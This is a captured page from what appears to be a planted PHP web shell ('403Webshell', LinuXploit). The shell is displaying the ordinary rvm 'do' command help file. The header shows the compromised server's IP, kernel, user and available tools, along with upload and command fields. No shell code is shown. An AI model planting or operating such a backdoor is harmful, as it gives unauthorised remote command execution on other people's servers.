403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.216.143
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/jonasn/.rvm/help/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jonasn/.rvm/help/do.md
## Usage

    $ rvm [all|all-gemsets|<ruby>,...|<path>] [--verbose|--summary|--yaml|--json] do <command> ...
    $ rvm in <path> do <some-command> ...

Executes arbitrary commands against given a set of rvm environments.
Without additional flags it will exec the command directly without printing
out extra rvm information.

## Selectors:

 - `all`         - execute command in the default gemset of all rubies
 - `all-gemsets` - execute command in the all gemset for all rubies
 - `<ruby>,...`  - list of rubies to use, allows short versions or gemsets
 - `<path>`      - use ruby from the given path/project

## Modifiers:

- `in`        - works with path and will additionally `cd` to the given directory
- `--verbose` - display one line details about ruby/gemset
- `--summary` - hide output and display summary of failures/success list only
- `--yaml`    - hide output and display yaml summary of failures/success list only
- `--json`    - hide output and display json summary of failures/success list only
- `--summary` - print out a summary of the commands run
- `-S`        - specify the script file to load and run


## Examples:

To execute `ruby -v` against all installed rubies and aliases, you would run:

    $ rvm all do ruby -v

If you want to execute it against a specific ruby (without extra logging / data
printed by rvm as is done with normal set operations), you can instead do:

    $ rvm ree do ruby -v

Since it is a set operation, normal ruby specifiers will work. As an example, to run
`gem list` against **1.9.2** and **1.8.7** and prefix with ruby name, you would run:

    $ rvm 1.9.2,1.8.7 --verbose do gem list

Or, to execute `gem env` against all gemsets:

    $ rvm all-gemsets do gem env

To execute `which ruby` in the current directory, loading a `.rvmrc`:

    $ rvm . do which ruby

To execute `rake test` in the project directory, loading a `.rvmrc`:

    $ rvm in /path/to/project do rake test

For more information, refer to the rvm set operations.

Youez - 2016 - github.com/yon3zu
LinuXploit